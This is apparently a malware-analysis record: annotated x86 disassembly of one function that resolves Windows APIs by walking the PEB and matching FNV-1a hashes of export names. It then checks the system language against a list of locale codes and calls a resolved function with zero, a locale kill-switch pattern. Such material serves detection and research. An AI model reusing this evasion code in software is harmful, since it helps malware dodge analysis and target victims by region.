Function at 0x49b1c0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [0x4f081c]
push esi
push edi
test ebx, ebx
jne 0x49b261
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 8], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49b248
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 8]
imul eax, eax, 0x1000193
mov dword [ebp - 8], eax
cmp edi, ebx
jne 0x49b210
cmp eax, 0xa3e6f6c3
je 0x49b7c8
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49b259
cmp dword [ecx + 0x18], 0
jne 0x49b1f0
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8c10]
test eax, eax
jne 0x49b2fe
test ebx, ebx
je 0x49b2f7
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x10], eax
lea eax, [ebx + ecx]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x49b2f7
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49b2f7
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x49b2e5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x49b2b0
mov ecx, dword [ebp - 4]
cmp edi, 0x6fca03ef
je 0x49b7d3
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49b2a0
xor eax, eax
mov dword [0x4f8c10], eax
call eax
mov ecx, 0x42c
movzx eax, ax
mov dword [ebp - 0x10], 0x82c
lea edx, [ecx - 1]
lea ebx, [ecx - 9]
lea esi, [ecx + 0xb]
lea edi, [ecx - 0xa]
cmp ax, word [ebp - 0x10]
je 0x49b38e
cmp ax, cx
je 0x49b38e
cmp ax, dx
je 0x49b38e
cmp ax, bx
je 0x49b38e
cmp ax, si
je 0x49b38e
mov ecx, 0x43f
cmp ax, cx
je 0x49b38e
mov ecx, 0x440
cmp ax, cx
je 0x49b38e
mov ecx, 0x819
cmp ax, cx
je 0x49b38e
mov ecx, 0x419
cmp ax, cx
je 0x49b38e
mov ecx, 0x428
cmp ax, cx
je 0x49b38e
mov ecx, 0x442
cmp ax, cx
je 0x49b38e
mov ecx, 0x843
cmp ax, cx
je 0x49b38e
mov ecx, 0x443
cmp ax, cx
je 0x49b38e
cmp ax, di
jne 0x49b4c2
mov esi, dword [0x4f081c]
test esi, esi
jne 0x49b423
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49b40a
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49b3d2
cmp eax, 0xa3e6f6c3
je 0x49b7f0
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49b41b
cmp dword [ecx + 0x18], 0
jne 0x49b3b4
xor esi, esi
mov dword [0x4f081c], esi
mov eax, dword [0x4f8bc0]
test eax, eax
jne 0x49b4be
test esi, esi
je 0x49b4b7
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
lea eax, [ecx + esi]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x49b4b7
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49b4b7
mov eax, dword [eax + 0x20]
add eax, esi
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
mov edx, dword [eax]
mov edi, 0x811c9dc5
add edx, esi
mov bl, byte [edx]
inc edx
test bl, bl
je 0x49b4a5
movsx ecx, bl
lea edx, [edx + 1]
sub bl, 0x41
mov eax, ecx
or eax, 0x20
cmp bl, 0x19
mov bl, byte [edx - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test bl, bl
jne 0x49b470
mov ecx, dword [ebp - 4]
cmp edi, 0x52a4cf3a
je 0x49b7fb
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49b460
xor eax, eax
mov dword [0x4f8bc0], eax
push 0
call eax
mov esi, dword [0x4f081c]
test esi, esi
jne 0x49b561
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49b548
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49b510
cmp eax, 0xa3e6f6c3
je 0x49b818
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49b559
cmp dword [ecx + 0x18], 0
jne 0x49b4f0
xor esi, esi
mov dword [0x4f081c], esi
mov eax, dword [0x4f8c08]
test eax, eax
jne 0x49b5f3
test esi, esi
je 0x49b5ec
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
lea eax, [ecx + esi]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x49b5ec
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [eax + 0x18], ecx
je 0x49b5ec
mov eax, dword [eax + 0x20]
add eax, esi
mov dword [ebp - 0xc], eax
mov edx, dword [eax]
mov edi, 0x811c9dc5
add edx, esi
mov bl, byte [edx]
inc edx
test bl, bl
je 0x49b5da
movsx ecx, bl
lea edx, [edx + 1]
sub bl, 0x41
mov eax, ecx
or eax, 0x20
cmp bl, 0x19
mov bl, byte [edx - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test bl, bl
jne 0x49b5a5
mov ecx, dword [ebp - 4]
cmp edi, 0x9f01b7f9
je 0x49b823
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
inc ecx
add eax, 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49b595
xor eax, eax
mov dword [0x4f8c08], eax
call eax
movzx eax, ax
mov ecx, 0x82c
cmp ax, cx
je 0x49b68c
mov ecx, 0x42c
cmp ax, cx
je 0x49b68c
mov ecx, 0x42b
cmp ax, cx
je 0x49b68c
mov ecx, 0x423
cmp ax, cx
je 0x49b68c
mov ecx, 0x437
cmp ax, cx
je 0x49b68c
mov ecx, 0x43f
cmp ax, cx
je 0x49b68c
mov ecx, 0x440
cmp ax, cx
je 0x49b68c
mov ecx, 0x819
cmp ax, cx
je 0x49b68c
mov ecx, 0x419
cmp ax, cx
je 0x49b68c
mov ecx, 0x428
cmp ax, cx
je 0x49b68c
mov ecx, 0x442
cmp ax, cx
je 0x49b68c
mov ecx, 0x843
cmp ax, cx
je 0x49b68c
mov ecx, 0x443
cmp ax, cx
je 0x49b68c
mov ecx, 0x422
cmp ax, cx
jne 0x49b7c1
mov ebx, dword [0x4f081c]
test ebx, ebx
jne 0x49b721
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 8], eax
mov edx, eax
mov dword [ebp - 4], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x49b708
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x49b6d0
cmp eax, 0xa3e6f6c3
je 0x49b840
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 4], ecx
cmp eax, edx
je 0x49b719
cmp dword [ecx + 0x18], 0
jne 0x49b6b2
xor ebx, ebx
mov dword [0x4f081c], ebx
mov eax, dword [0x4f8bc0]
test eax, eax
jne 0x49b7bd
test ebx, ebx
je 0x49b7b6
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x49b7b6
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x49b7b6
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 4]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x49b7a4
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x49b771
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
cmp edi, 0x52a4cf3a
je 0x49b84b
mov eax, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x49b760
xor eax, eax
mov dword [0x4f8bc0], eax
push 0
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49b25b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x49b2f9
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x18]
jmp 0x49b41d
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x49b4b9
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x18]
jmp 0x49b55b
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x49b5ee
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x18]
jmp 0x49b71b
mov eax, dword [edx + 0x24]
push 0
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
mov dword [0x4f8bc0], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret